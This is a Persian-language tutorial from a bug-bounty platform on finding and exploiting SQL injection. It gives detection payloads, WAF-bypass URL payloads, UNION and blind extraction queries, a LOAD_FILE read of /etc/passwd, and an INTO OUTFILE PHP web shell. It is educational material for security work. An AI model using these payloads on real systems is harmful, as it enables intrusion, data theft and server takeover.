This is beta version of Ravro English website. Some dynamic texts are in Persian. If you need support, contact with support@ravro.ir.
SQL Injection؛ راهبردها و ترفندها

SQL Injection؛ راهبردها و ترفندها

5844

در این مطلب قصد داریم به یک آسیب‌پذیری آشنا و نسبتا قدیمی اما قوی و خطرناک بپردازیم. آسیب‌پذیری SQL Injection در بازه‌ی زمانی حداقل 10 سال گذشته از محبوب‌ترین و پرکاربردترین آسیب‌پذیری‌ها بود. البته با توجه به سطح فناوری آن دوره نیز، احتمال نفوذ با آسیب‌پذیری SQL Injection بالا بود. اما امروزه احتمال این نوع نفوذ به دلیل روش‌های جلوگیری از بروز آسیب‌پذیری SQL Injection کاهش پیدا کرده است و شکارچی برای کشف و اکسپلویت آسیب‌پذیری SQL Injection نیازمند ترفندها و شگردهای خاصی است و این موضوع، خلاقیت شکارچی را می‌طلبد. در این مطلب؛

• از معرفی آسیب‌پذیری SQL Injection شروع می‌کنیم،

• با عبور از روش‌های کشف آسیب‌پذیری SQL Injection به گردنه‌های سخت نحوه‌ی اکسپلویت آسیب‌‌پذیری SQL Injection و چگونگی دورزدن مکانیزم‌های دفاعی WAF و IDS می‌رسیم،

• با هم به حوادث سایبری بزرگی که به دلیل وجود آسیب‌پذیری SQL Injection منجر به نقض «حریم خصوصی داده‌ها» شده اند، نگاهی می‌اندازیم

• و در پایان با ابزارهای پرکاربرد و پرطرفدار کشف و اکسپلویت آسیب‌پذیری SQL Injection آشنا خواهیم شد.

مطلبی که با هم مطالعه می‌کنیم برداشتی آزاد از چندین منبع معتبر است. قرار است ماجراجویانه به موارد مرتبط SQL Injection نگاهی بیندازیم. با ما همراه باشید.

به طور کلی، یک حمله‌ی SQL Injection مانند بسیاری از حملات دیگر شامل سه مرحله‌ی "پیش از کشف"، "کشف" و "اکسپلویت" است؛ در مرحله‌ی پیش از کشف، اطلاعاتی از قبیل** نوع پایگاه‌داده** و نسخه‌ی DBMS آن را به دست می‌آوریم. در مرحله‌ی کشف، وجود آسیب‌پذیری SQL Injection را بررسی می‌کنیم. پس از اطمینان از وجود آسیب‌پذیری SQL Injection، نوبت به آغاز فرآیند اکسپلویت می‌رسد.

به عنوان نمونه، ما حادثه‌ای ممکن برای یک کسب‌وکار حوزه‌ی آمار و اطلاعات را می‌توانیم در ذهن داشته باشیم. فرض را بر این بگذاریم که در این شرکت، تا‌به‌حال فناوری‌های مختلفی برای ذخیره‌سازی، دریافت و محاسبات داده‌ها به کار گرفته شده‌اند ولی مقوله‌ی امنیت جزو اولویت‌های این شرکت نبوده است. شبی از شب‌ها، مهاجمی با جمع‌آوری اطلاعات از نوع فناوری‌های استفاده شده، به ویژه سامانه‌ی مدیریت پایگاه‌داده و نسخه‌های آن‌ها، نقطه‌ای از سامانه را هدف گرفته و پس از نفوذ از طریق آسیب‌پذیری SQL Injection میلیون‌ها اطلاعات موجود در پایگاه‌داده را ابتدا برای خود ذخیره و سپس پایگاه‌داده را حذف می‌کند. فردای آن روز "جا تر است و دیتا نیست". احتمال دارد داده‌های این کسب‌وکار سر از هر جایی در بیاورند. مهاجم از مدیران این کسب‌وکار اخاذی کند و شکایت‌های بسیاری از سوی مشتریان مطرح شود.

آسیب‌پذیری SQL Injection چیست؟

آسیب‌پذیری SQL Injection عبارت است از امکان جاگذاری یا تزریق یک پرسش SQL از طریق فرم ورودی داده به دست کاربر و ارسال آن به برنامه‌ی کاربردی پویا. حمله‌ی SQL Injection زمانی موفقیت‌آمیز تلقی می‌شود که شکارچی بتواند داده‌های پایگاه‌داده را بخواند، آن‌ها را تغییر دهد و عملیات‌های سطح مدیریتی، مانند خاموش‌کردن سیستم مدیریت پایگاه‌داده را انجام دهد. آسیب‌پذیری SQL Injection از آن‌جایی که امکان دست‌کاری یا تزریق به دستورات از پیش مشخص‌شده SQL را در حین اجرا می‌دهد، در دسته‌بندی آسیب‌پذیری‌های تزریقی یا Injection قرار می‌گیرد. آسیب‌پذیری SQL Injection امکان جعل هویت، تغییر در داده‌های موجود، دسترسی به همه‌ی داده‌های ذخیره‌شده و از بین بردن داده‌ها را برای مهاجم فراهم می‌کند. به عبارتی دیگر، مهاجم پس از حمله‌ی موفقیت‌آمیز، مدیر پایگاه‌داده خواهد بود. آسیب‌پذیری SQL Injection بیشتر در محیط‌ PHP و ASP رایج است که دلیل عمده‌ی آن هم وجود رابط کاربری قدیمی موجود در آن‌هاست.

ارزش آسیب‌پذیری SQL Injection

هرروزه آسیب‌پذیری‌های گوناگونی کشف و اکسپلویت می‌شوند و هرکدام از آن‌ها بسته به میزان دسترسی‌ای که به پایگاه‌داده فراهم می‌کنند، درجه‌بندی می‌شوند. آسیب‌پذیری SQL Injection به طور مستقیم با پایگاه‌داده در ارتباط است و به همین دلیل است که درجه‌ی آسیب‌پذیری SQL Injection معمولا بحرانی در نظر گرفته می‌شود و از این لحاظ برای شکارچی حائز اهمیت است. در مطلب «چگونه آسیب‌پذیری در راورو ارزش‌گذاری می‌شود؟» می‌توانید درباره‌ی معیارهای ارزش‌گذاری آسیب‌پذیری‌های مختلف بیشتر بخوانید.

هدف از حمله SQL Injection چیست؟

حمله‌ی SQL Injection زمانی می‌تواند اتفاق بیافتد که:

۱. داده‌هایی از منبع ناایمن به برنامه‌ی کاربردی وارد شوند.

۲. داده‌ها برای ایجاد یک پرسش SQL در حین اجرا استفاده شوند.

اهداف اصلی SQL Injection عبارتند از:

۱. نقض محرمانگی: از آن‌جایی که معمولا پایگاه‌داده‌های SQL داده‌های حساسی را در خود جای می‌دهند، نقض محرمانگی یکی از پیامدهای آسیب‌پذیری SQL Injection است.

۲. نقض احراز هویت: در صورتی که بررسی صحت نام کاربری و گذرواژه به وسیله‌ی دستورات SQL انجام ‌شوند، امکان ورود به سامانه با هویت کاربری دیگر حتی بدون دانستن گذرواژه وجود خواهد داشت.

۳. نقض اعتبارسنجی: معمولا اطلاعات ورود به سیستم در پایگاه‌داده ذخیره می‌شوند. در این صورت با کمک آسیب‌پذیری SQL Injection امکان تغییر این اطلاعات وجود دارد.

۴. نقض یکپارچگی: همان‌طور که در آسیب‌‌پذیری SQL Injection امکان خواندن اطلاعات حساس فراهم می‌شود، ایجاد تغییرات یا حتی حذف آن‌ها نیز امکان‌پذیر است.

چند نمونه از آسیب‌پذیری SQL Injection

آسیب‌پذیری SQL Injection از سال 1998 میلادی سر زبان‌ها افتاد و تاکنون حوادث سایبری بزرگی را رقم زده است که منجر به نقض حریم خصوصی داده‌ها شده‌اند. از حوادث مهمی که در سال‌های اخیر رخ داده‌اند، می‌توان به موارد زیر اشاره کرد:

در سال 2012، یک گروه هکری اعلام کرد که اطلاعات 450 هزار کاربر را از یاهو به سرقت برده است. این اطلاعات، به صورت خام و قابل‌خواندن ذخیره شده بودند و مهاجمان از طریق یکی از زیردامنه‌های یاهو به نام Yahoo! Voices این اطلاعات را به سرقت برده بودند. این گروه هکری از طریق شگرد UNION که در ادامه‌ی این مطلب به آن پرداخته‌یم اقدام به چنین کاری کرده بودند.

در سال 2014، انجمن حکم‌رانی اینترنت سازمان ملل متحد توسط یک گروه هکری از طریق آسیب‌پذیری SQL Injection مورد نفوذ قرار گرفت و اطلاعات 3215 حساب کاربری افشا شد.

در سال 2015، در طی حمله‌ای به سرورهای شرکت مخابراتی بریتانیا به نام TalkTalk اطلاعات شخصی 156959 کاربر به سرقت رفت.

جالب توجه‌ است که بر اساس گزارش امنیتی هکروان، در سال 2019 دو بخش مخابرات و بهداشت بیشتر از بخش‌های دیگر مورد حمله SQL Injection بوده‌اند.

چگونه می‌توان وجود آسیب‌پذیری SQL Injection را بررسی کرد؟

وجود آسیب‌پذیری SQL Injection را می‌توان تا حد بسیار زیادی به صورت دستی، با مجموعه‌ای از دستورات و در هر نقطه از سامانه بررسی کرد.

وجود آسیب‌پذیری SQL Injection را می‌توان تا حد بسیار زیادی به صورت دستی، با مجموعه‌ای از دستورات و در هر نقطه از سامانه بررسی کرد.

مواردی که می‌توان برای کشف آسیب‌پذیری SQL Injection به کار برد، عبارتند از:

• اضافه کردن کارکتر ' به آدرس صفحه و بررسی ظاهر صفحه از لحاظ نمایش خطا یا اتفاقات غیرعادی مانند حذف شدن تصاویر و مطالب از صفحه

به عنوان نمونه

http://site.com/items.php?id=2'

• اضافه کردن قواعد و دستورات زبان SQL به آدرس صفحه و بررسی ظاهر صفحه از لحاظ نمایش خطا یا اتفاقات غیرعادی (UNION SQL Injection)

به عنوان نمونه

http://site.com/items.php?id=2' UNION SELECT NULL--

• اضافه کردن شرط‌های مختلف که پاسخ true یا false ارائه می‌دهند و سپس بررسی صفحه از لحاظ نمایش خطا یا اتفاقات غیرعادی (Blind SQL Injection)

به عنوان نمونه

http://site.com/items.php?id=2 and 1=2

•اضافه کردن دستورات SQL که باعث ایجاد تاخیر زمانی در اجرای پرسش SQL می‌شوند و سپس بررسی تغییرات در صفحه تا زمان دریافت پاسخ

به عنوان نمونه

http://site.com/vulnerable.php?id=1' waitfor delay '00:00:10'--

اغلب حملات SQL Injection از طریق بخش WHERE در یک پرسش SELECT روی می‌دهند اما در پرسش‌های دیگر هم بخش‌های قابل‌اکسپلویت وجود دارند که 3 مورد آن به صورت زیر است:

• در یک پرسش UPDATE، بخش WHERE و مقادیر ستون‌ها آسیب‌پذیر هستند.

• در یک پرسش INSERT، بخش مقادیر ستون‌ها آسیب‌پذیر هستند.

• در یک پرسش SELECT، بخش‌های نام جدول و نام ستون و ORDER BY آسیب‌پذیر هستند.

آسیب‌پذیری SQL Injection مرتبه‌ی اول (First-order) زمانی اتفاق می‌افتد که سامانه پس از دریافت درخواست HTTP، ورودی کاربر را به شکل ناایمن و خام در یک پرسش SQL قرار می‌دهد. در آسیب‌پذیری SQL Injection مرتبه‌ی دوم (Second-order) ، سامانه ورودی کاربر را از درخواست HTTP دریافت می‌کند و برای پردازش در نوبت بعدی ذخیره می‌کند. این کار با جاگذاری ورودی در یک پایگاه‌داده انجام می‌شود اما هیچ آسیب‌پذیری‌ای در آن نقطه، سامانه را تهدید نمی‌کند. سپس زمانی که برنامه‌ی کاربردی یک درخواست HTTP دیگر را پردازش می‌کند، سامانه داده‌های پرسش قبل را که ذخیره شده بودند، نیز در پرسش SQL به صورت ناایمن جای می‌دهد.

آسیب‌پذیری SQL Injection مرتبه دوم اغلب زمانی رخ می‌دهد که توسعه‌دهندگانِ سامانه برای جلوگیری از رخداد آسیب‌پذیری SQL Injection، داده‌های ورودی را در پایگاه داده بدون پردازش و با فرض ایمن بودن آن‌ها نگه‌داری ‌کنند. سپس، داده‌ها برای قرارگیری در پایگاه‌داده پردازش ‌شوند و در این صورت کافی‌ست داده‌های ذخیره شده حاوی کدهای SQL Injection باشند.

به عنوان یک نکته‌ی مهم باید در نظر داشته باشید که زبان SQL در پلتفرم‌های پایگاه‌داده مختلف، قواعد متفاوتی نیز دارد که باعث می‌شود تکنیک‌های کشف و اکسپلویت برای آسیب‌‌پذیری SQL Injection در پلتفرم‌های پایگاه‌داده‌ی مختلف، متفاوت باشند.

مواردی که معمولا در پلتفرم‌های مختلف، متفاوت هستند، عبارتند از:

۱. قواعد اتصال دو رشته‌ی متنی با یک‌دیگر

۲. قواعد کامنت‌گذاری

۳. پرسش‌های دسته‌ای

۴. توابع مختص پلتفرم پایگاه‌داده

۵. پیغام‌های خطا

در سال‌های اخیر راه‌های مقابله با آسیب‌پذیری SQL Injection به طور مداوم در حال توسعه بوده‌اند و روش‌های مختلفی برای خنثی‌سازی شگردهای موجود در این حمله ارائه شده‌اند. این راه‌های مقابله، فرآیند کشف و اکسپلویت را با چالش مواجه می‌کنند که در ادامه این چالش‌ها را مطرح کرده و راه‌های عبور از این چالش‌ها را نیز بررسی می‌کنیم:

به طور کلی، می‌توان روش‌های پیشگیری از حمله‌ی SQL Injection را به دو دسته تقسیم کرد:

۱. سامانه‌های WAF و IDS که به طور خودکار و پیش‌فرض اقدام به جلوگیری از حمله SQL Injection می‌کنند.

۲. استفاده از کتاب‌خانه‌های ORM

همان‌طور که می‌دانید، امنیت یک مقوله‌ی نسبی ست و این دو روش فقط سطح امنیت را بالا می‌برند و هیچ‌گاه نمی‌توانند امنیت کامل در برابر حمله‌ی SQL Injection را تضمین کنند.

روش‌هایی وجود دارند که می‌توان به کمک آن‌ها این دو روش را دور زد و یا حداقل در میان شگردهای بسیاری که وجود دارند، ارزش امتحان‌کردن در جهت نفوذ به سامانه را دارا هستند.

استفاده از کامنت

http://site.com/news.php?id=1+un/**/ion+se/**/lect+1,2,3--

تغییر بزرگی و کوچکی حروف

از آن‌جا که بعضی WAFها کلمه‌های کلیدی SQL را فقط به صورت حروف کوچک شناسایی و خنثی می‌کنند، می‌توان از حروف بزرگ در اکسپلویت استفاده کرد:

http://site.com/news.php?id=1+UnIoN/**/SeLecT/**/1,2,3--

حذف کلمه‌های کلیدی

بعضی WAFها همه‌ی کلمه‌های کلیدی SQL را به طور مستقیم از درخواست ارسالی حذف می‌کنند. برای دور زدن این مورد می‌توان به صورت زیر عمل کرد:

http://site.com/news.php?id=1+UNunionION+SEselectLECT+1,2,3--

البته بعضی از آن‌ها صرفا کلمه‌های کلیدی را حذف نمی‌کنند و جای آن‌ها فاصله می‌گذارند که می‌توان به عنوان نمونه مانند زیر عمل کرد:

http://site.com/news.php?id=1+uni%0bon+se%0blect+1,2,3--

روش‌های پیشرفته و خاص دیگری نیز وجود دارند که می‌توان به وسیله‌ی آن‌ها دو روش بالا را دور زد و معمولا شرایط خاصی در محیط حمله را می‌طلبند. این روش‌ها عبارتند از:

سرریز بافر

اغلب فایروال‌ها به زبان C یا C++ توسعه داده شده‌اند و به راحتی با سرریز بافر می‌توان آن‌ها را دور زد:

http://site.com/index.php?page_id=1+and+(select 1)=(Select 0xAA(بگنجانید “A” حدود ۱۰۰۰ حرف ))+/!uNIOn/+/!SeLECt/+1,2,3,4

اگر پاسخ درخواست HTTP کد ۵۰۰ شد، به معنی آن است که امکان اکسپلویت از طریق وجود دارد.

استفاده از مقادیر هگز

در این روش، می‌توان همه مواردی که در اکسپلویت احتمال خنثی‌شدن توسط سامانه‌ها را دارند، با نمایش هگز آن‌ها وارد کرد:

http://site.com/index.php?page_id=1 /!u%6eion/ /!se%6cect/ 1,2,3,4

توابع خاص

بعضی فایروال‌ها کاراکتر‌هایی (به عنوان نمونه * ) را با فاصله جایگزین می‌کنند. برای این موارد می‌توان به صورت زیر عمل کرد:

http://site.com/index.php?page_id=1+uni*on+sel*ect+1,2,3,4…

از چه ابزارهایی می‌توان کمک گرفت؟

آسیب‌پذیری SQL Injection به دلیل محبوبیت خود همواره مورد توجه بسیاری از برنامه‌نویسان ابزارهای امنیتی، متشکل از گروه‌های هکری بوده است که اغلب آن‌ها اکنون غیرفعال شده‌اند و یا دیگر قابل استفاده نیستند. اکنون نیز ابزارهای دیگری به طور مداوم در حال توسعه هستند.

این آسیب‌پذیری به دلیل محبوبیت خود همواره مورد توجه بسیاری از برنامه‌نویسان ابزارهای امنیتی، متشکل از گروه‌های هکری بوده است و اکنون نیز ابزارهای زیادی در حال توسعه هستند.

در ادامه به معرفی چند ابزار مشهور، پرطرفدار و کاربردی این روزها برای آسیب‌‌پذیری SQL Injection می‌‌پردازیم:

ابزار SQLmap

ابزار SQLmap یکی از پرقدرت‌ترین و مشهورترین ابزار کشف و اکسپلویت آسیب‌پذیری SQL Injection است که به زبان پایتون نوشته شده و ویژگی‌های منحصر به فرد و بسیاری را در خود جای داده‌ است. این ابزار شگردهای زیادی برای حمله را پیش روی کاربر می‌گذارد. این ابزار در کنفرانس BlackHat 2009 توجه رسانه‌ای را به خود جلب کرد که منجر به گام بزرگی در توسعه‌ی این ابزار شد. SQLmap در حال حاضر پراستفاده‌ترین ابزار برای آسیب‌پذیری SQL Injection است.

دانلود و راهنمای ابزار:

http://sqlmap.org/

ابزار jSQL

ابزار متن‌باز jSQL به زبان برنامه‌نویسی جاوا نوشته شده است و در سیستم‌عامل‌های مختلف قابل اجراست. این ابزار ۲۳ پایگاه‌داده را پشتیبانی می‌کند و با شگردهای مختلف، می‌تواند کشف و اکسپلویت آسیب‌پذیری SQL Injection را راحت‌تر کند. از ویژگی‌های این ابزار می‌توان به جستجوی صفحات ورود مدیر، بروت‌فورس هش گذرواژه، ساختن وب‌شل و شلSQL اشاره کرد.

دانلود و راهنمای ابزار:

https://github.com/ron190/jsql-injection

ابزار Havij

این ابزار توسط تیم امنیتی ایرانی ITSecTeam ارائه شده، ساخت ایران است و ابزاری بومی و وطنی به شمار می‌رود. ابزار Havij هم‌چنان یکی از گزینه‌های مناسب برای کشف و اکسپلویت آسیب‌پذیری SQL Injection است. ابزار هویج با رابط کاربری گرافیکی خوب، شگردهای مختلفی را در خود جای داده اما بسیار کاربرپسند بوده و مناسب هر دو کاربر مبتدی و حرفه‌ای است. هویج در دو نسخه‌ی رایگان و غیررایگان عرضه شده و فقط بر روی سیستم‌عامل ویندوز قابل‌استفاده است. اگرچه مدت مدیدی ست که سایت رسمی تیم امنیتی ITSecTeam از کار افتاده، اما همچنان هر دو نسخه‌ی این ابزار در سایت‌های مختلف و مخازن گیت‌هاب موجودند.

چگونه و تا چه میزان می‌توان آسیب‌پذیری SQL Injection را اکسپلویت کرد؟

زمانی که مشخص شد که نقطه‌ای از سامانه به SQL Injection آسیب‌پذیر است و می‌توان به پایگاه‌داده پرسش ارسال کرد و پاسخ گرفت، کلمه کلیدی UNION و همچنین روش Blind می‌توانند برای استخراج داده‌ها از جداول پایگاه‌داده استفاده شوند. گفتنی است که در این بخش، شرایط ایده‌آل و بدون چالش خاصی مانند وجود فایروال و مشابه آن در نظر گرفته شده است.

برای اکسپلویت از طریق کلمه کلیدی UNION، دو پیش‌نیاز وجود دارد:

۱. پرسش‌های تکی و پیاپی باید تعداد یکسانی از ستون‌ها را برگردانند.

۲. انواع داده‌ای در هر ستون باید بین پرسش‌های تکی سازگار باشد.

یکی از پرکاربردترین ترفندهایی که در حمله‌ی SQL Injection مورد استفاده قرار می‌گیرد، کامنت‌کردن بخش‌هایی از پرسش اصلی است. شکارچی می‌تواند با کامنت‌کردن بخش‌هایی از یک پرسش، به پاسخ مدنظر خود از پایگاه‌داده دست یابد.

به عنوان ساده‌ترین نمونه می‌توان به این مورد اشاره کرد:

SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';

در این پرسش که برای بررسی صحت نام کاربری و گذرواژه برای اعتبارسنجی ورود به سامانه نوشته شده است، بخش

WHERE username = '' OR 1=1

به دلیل عمل‌گر منطقی OR و تساوی همیشه درست 1=1 همیشه true خواهد بود و بخش

AND password = '';

به دلیل این‌که پس از نشانه‌ی --- قرار گرفته است، کامنت در نظر گرفته شده و اجرا نمی‌شود.

۵ روش برای کامنت کردن در پرسش SQL وجود دارد که عبارتند از:

1*	#
2*	/*
3*	---
4*	;%00
5*	`
6

حمله!

معمولا سه مرحله در فرآیند حمله SQL Injection طی می‌شود:

۱. یافتن تعداد ستون موجود در پرسش SQL صفحه آسیب‌پذیر

۲. استخراج جداول (به ویژه جدول مربوط به اطلاعات ورود به سامانه)

۳. استخراج ستون‌های جدول مربوط به اطلاعات ورود به سامانه

برای یافتن تعداد ستون موجود در پرسش SQL صفحه‌ی آسیب‌پذیر، رایج‌ترین روش استفاده از ORDER BY یا GROUP BY است.

در این روش تعداد ستون را حدس می‌زنیم و حدس خود را یکی یکی افزایش می‌دهیم تا به تغییر غیرعادی، مشابه زمانی که وجود آسیب‌پذیری SQL Injection را بررسی می‌کردیم، برسیم.

به عنوان نمونه:

http://site.com/items.php?id=1' ORDER BY 3--+

در این نمونه عدد ۳، شماره تعداد ستون حدسی است و صفحه کامل و بدون تغییر غیرعادی بارگذاری می‌شود. تعداد را یکی افزایش می‌دهیم:

http://site.com/items.php?id=1' ORDER BY 4--+

این بار شاهد تغییر در صفحه هستیم و این اتفاق به معنی آن است که تعداد ستون ۳ تاست.

در ادامه برای لیست جداول پایگاه‌داده دو روش UNION و BLIND را می‌توان به کار برد:

در روش UNIONمی‌توان با استفاده از تابع GROUP_CONCAT لیست جداول موجود در پایگاه‌داده‌ی information_schema را استخراج نمود:

UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;

و در روش Blind نیز همان‌طور که پیش‌تر به آن پرداختیم، با استفاده از عمل‌گرهای منطقی و استفاده از تابع SUBSTR می‌توان لیست جداول را از پایگاه داده‌ی information_schema استخراج کرد:

AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'

لازم به ذکر است که ما در این‌جا، پایه و اساس نمونه‌ها را بر MySQL ،یکی از مشهورترین سامانه‌های مدیریت پایگاه داده، قرار داده‌ایم که در این سامانه به طور پیش‌‌فرض دو پایگاه‌داده‌ی mysql و information_schema وجود دارند. در پایگاه‌داده‌ی information_schema اطلاعات جداول و ستون‌ها در پایگاه‌داده‌های دیگر موجود در همان سامانه ذخیره شده است و منبع خوبی برای اکسپلویت و رسیدن به جدول و ستون مدنظر به شمار می‌رود. برای استخراج لیست ستون‌های جدول موردنظر نیز می‌توان مشابه استخراج لیست جداول عمل کرد:

در روش UNION:

UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'

tablename نام جدول موردنظر است.

و در روش Blind:

AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'

در نهایت با پرسش SELECT می‌توان مقادیر ستون‌های موردنظر که اغلب username و password هستند، نام کاربری و گذرواژه‌ی کاربران را به دست آورد و به سامانه‌ی قربانی وارد شد.

نکته‌ی جالب‌توجه آسیب‌‌پذیری SQL Injection آن است که فقط منحصر به پایگاه‌داده نیست. با اکسپلویت آسیب‌‌پذیری SQL Injection می‌توان به سیستم‌عامل هم دسترسی پیدا کرد و فایل‌هایی مانند یک وب‌شل یا SQLشل را آپلود و یا دانلود کرد.

به عنوان نمونه، با استفاده از تابع LOAD_FILE می‌توان فایلی از سیستم‌عامل میزبان پایگاه‌داده را خواند:

SELECT LOAD_FILE('/etc/passwd');

البته نکاتی را نیز باید مدنظر داشت:

• فایل باید در سرور موجود باشد.

• فایل باید توسط کاربر سیستم مدیریت پایگاه‌داده قابل خواندن باشد یا به عبارتی کاربر مجوز دسترسی به آن فایل را داشته باشد.

• اندازه‌ی فایل باید کمتر از مقدار مجاز بسته‌های HTTP باشد.( به طور پیش‌فرض معمولا در MySQL مقدار آن 1047552 بایت است.)

برای ایجاد یک وب‌شل با زبان PHP می‌توان از نمونه‌ی زیر استفاده کرد:

SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

دسترسی به این وب‌شل هم به این صورت خواهد بود:

http://localhost/shell.php?c=cat%20/etc/passwd

البته باید دقت داشت که:

• دستور INTO OUTFILE فایل‌ها را بازنویسی نمی‌کند.

• دستور INTO OUTFILE باید آخرین بخش پرسش آورده شود.

روش‌های رفع آسیب‌پذیری SQL Injection کدامند؟

در حال حاضر کم‌هزینه‌ترین راه برای جلوگیری از حملات SQL Injection استفاده از کتاب‌خانه‌های ORM است. نقایص هر کدام از ORMهای موجود در هر محیط و زبان برنامه‌نویسی احتمالا کمک بسیاری را به شما در فرآیند حمله برساند.

استفاده از کتابخانه‌های ORM احتمال وجود آسیب‌پذیری SQL Injection را در سامانه کم می‌کند.

موارد زیر به تفکیک محیط و زبان برنامه‌نویسی لیست شده‌اند:

در زبان برنامه‌نویسی Java:

• Hibernate

• ActiveJDBC

• Apache Cayenne

• Apache OpenJPA

• DataNucleus

• Ebean

• EclipseLink

• Enterprise JavaBeans

• Enterprise Objects Framework

• Java Data Objects

• JOOQ Object Oriented Querying

• Kodo

• TopLink

در زبان برنامه‌نویسی JavaScript:

• Sequelize

در زبان برنامه‌نویسی PHP:

• CakePHP

• CodeIgniter

• Doctrine

• FuelPHP

• Laravel

• Propel

• Qcodo

• QCubed

• Redbean

• Skipper

• Yii

• Zend Framework

در زبان برنامه‌نویسی Python:

• Django

• SQLAlchemy

• SQLObject

• Storm

• Tryton

• web2py

• Odoo

در زبان برنامه‌نویسی Ruby:

• ActiveRecord

• DataMapper

در محیط برنامه‌نویسی iOS:

• Core Data

در محیط برنامه‌نویسی .Net:

• Base One Foundation Component Library

• Dapper

• Entity Framework

• iBATIS

• LINQ to SQL

• NHibernate

• nHydrate

• Quick Objects

در موارد بالا، دو مورد از دو زبان برنامه‌نویسی JavaScript و PHP مشهورتر به نظر می‌رسند که هر دوی آن‌ها در نسخه‌های گذشته دارای نقص بوده‌اند. کتابخانه Sequelize تا نسخه‌ی ۵.۸.۱۱ خود دارای آسیب‌‌پذیری SQL Injection بوده است که به موجب آن، می‌توان به کلیدهای JSON کدهای SQL تزریق کرد. این آسیب‌‌پذیری SQL Injection در نسخه‌ی ۵.۱۵ رفع شده است.

همچنین آسیب‌پذیری SQL Injection مشابهی نیز در کتابخانه Eloquent فریم‌ورک لاراول کشف شده‌است که به وسیله‌ی آن می‌توان در نمونه‌ی زیر

http://site.com/users?sort=email

با تزریق به پارامتر sort به صورت:

http://site.com/users?sort=email->"%27))%23injectedSQL

توابع موجود در این کتاب‌خانه و به ویژه تابع orderBy را به شکل زیر اکسپلویت کرد:

User::orderBy('email->"%27))%23injectedSQL')->get();

این کتاب‌خانه فقط تا نسخه‌ی ۱.۱۷.۱ این آسیب‌پذیری SQL Injection را داشته است و اگر سامانه‌ای را یافتید که از نسخه پایین‌تر استفاده می‌کند، احتمالا بتوانید آن را اکسپلویت کنید. البته شایان ذکر است که در این باره باید توجه داشت که همه‌ی این ابزارها می‌توانند در کشف وجود و قابل بهره‌جویی‌بودن آسیب‌پذیری SQL Injection مورداستفاده‌ی شکارچی قرارگیرند اما استفاده از ابزارهای آماده در گزارش آسیب‌پذیری SQL Injection فاقد ارزش است. در مطلب «چگونه گزارش آسیب‌پذیری بنویسیم؟» مفصل‌تر به بایدها و نبایدهای یک گزارش آسیب‌پذیری پرداخته‌ایم. در صورت تمایل می‌توانید آن را مطالعه کنید.

سخن آخر

به طور کلی، ماهیت آسیب‌پذیری‌های دسته‌ی Injection را می‌توان به ایجاد انحراف در روند عادی عملیات‌های یک سامانه دانست. عامل این انحراف همان مواردی است که باید به سامانه و در روند عادی تزریق شود. هرچند تعداد قربانیان آسیب‌پذیری SQL Injection در سال‌های اخیر روند نسبتا نزولی داشته اما هم‌چنان یکی از پرطرفدارترین آسیب‌پذیری‌ها در بین شکارچیان است و کسب‌وکارهای بسیاری در سراسر دنیا قربانی آسیب‌پذیری SQL Injection می‌شوند. پایه و اساس نکات و ترفندهای بیان‌شده در این مطلب، دو حالت "ایده‌آل" و "چالشی" بودند که در متن هر کدام از این حالات مشخص شده‌ بودند و برای حالت چالشی راه‌های عبور از آن‌ها نیز بررسی و معرفی شدند. اصولا هرچه شکارچی بر قواعد پایگاه‌داده‌ها و ابزارهای کار با پایگاه‌داده مسلط‌تر باشد، در کشف و اکسپلویت آسیب‌‌پذیری SQL Injection موفق‌تر خواهد بود. روش‌های کشف و اکسپلویت آسیب‌پذیری SQL Injection کاملا به صورت دستی قابل انجام است و در فرآیند کشف و اکسپلویت، ابزارهای معرفی شده در کنار نکات و نمونه‌ها می‌توانند یاری‌گر شکارچی باشند. بی‌شک اگر شما هم در میان منابع معتبر گشتی بزنید، با انبوهی از آمار نفوذ و افشای اطلاعات، اعداد، ارقام، تاریخ‌ها و نام شرکت‌های کوچک و بزرگ در سرتاسر دنیا روبه‌رو خواهید شد که به دلیل عدم استفاده از مکانیزم و سامانه‌های امنیتی مانند WAF، IDS و کتابخانه‌های ORM و همچنین دست‌کم گرفتن خلاقیت هکرها دچار افشای اطلاعات شده‌اند. امیدواریم که شما شکارچی عزیز بتوانید از نکات و ترفندهای مطرح شده استفاده کرده و در مسیر شکار و در شکارگاه‌های مختلف آسیب‌پذیری SQL Injection بیشتری را کشف و گزارش کنید.

منابع:

https://freek.dev/1317-an-important-security-release-for-laravel-query-builder

https://snyk.io/blog/sequelize-orm-npm-library-found-vulnerable-to-sql-injection-attacks

https://snyk.io/vuln/SNYK-JS-SEQUELIZE-450221

https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF

https://en.wikipedia.org/wiki/List_of_object-relational_mapping_software

https://en.wikipedia.org/wiki/SQL_injection

https://www.websec.ca/kb/sql_injection

https://portswigger.net/web-security/sql-injection

https://owasp.org/www-community/attacks/SQL_Injection